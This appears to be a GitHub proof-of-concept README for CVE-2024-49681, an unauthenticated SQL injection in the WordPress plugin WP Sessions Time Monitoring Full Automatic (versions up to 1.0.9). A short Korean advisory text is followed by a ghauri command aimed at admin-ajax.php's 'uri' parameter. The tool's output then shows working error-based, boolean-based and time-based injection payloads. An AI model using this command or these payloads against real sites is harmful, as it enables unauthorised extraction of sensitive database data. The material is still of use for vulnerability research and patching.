randomrobbiebf/cve-2024-49681WP Sessions Time Monitoring Full Automatic <= 1.0.9 - 인증되지 않은 SQL 인젝션
WP Sessions Time Monitoring Full Automatic <= 1.0.9 - 인증되지 않은 SQL 인젝션
WordPress용 WP Sessions Time Monitoring Full Automatic 플러그인은 사용자가 제공한 매개변수에 대한 이스케이프 처리 부족과 기존 SQL 쿼리의 사전 준비 부족으로 인해 최대 버전 1.0.9까지 SQL 인젝션에 취약합니다. 이를 통해 인증되지 않은 공격자가 기존 쿼리에 추가 SQL 쿼리를 덧붙여 데이터베이스에서 민감한 정보를 추출하는 데 사용할 수 있습니다.
Published: 2024-10-21 00:00:00
CVE: CVE-2024-49681
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS Score: 7.5
Slugs: activitytime
ghauri -u http://kubernetes.docker.internal/wp-admin/admin-ajax.php --data="action=activitytime_action&uri=test" -p uri --dbms mysql --dbs
________.__ .__ {1.3.8}
/ _____/| |__ _____ __ _________|__|
/ \ ___| | \\__ \ | | \_ __ \ |
\ \_\ \ Y \/ __ \| | /| | \/ |
\______ /___| (____ /____/ |__| |__|
\/ \/ \/ https://github.com/r0oth3x49
An advanced SQL injection detection & exploitation tool.
[*] starting @ 15:23:38 /2024-11-09/
[15:23:38] [INFO] testing connection to the target URL
Ghauri resumed the following injection point(s) from stored session:
---
Parameter: dbid (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: action=activitytime_action&uri=test
Parameter: uri (POST)
Type: error-based
Title: MySQL >= 5.1 AND string error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)
Payload: action=activitytime_action&uri=test' AND UPDATEXML(0,CONCAT_WS('(', '~','r0oth3x49','~'),0)-- wXyW
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=activitytime_action&uri=test' AND 08875=8875-- wXyW
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: dbid (default)
[1] place: POST, parameter: uri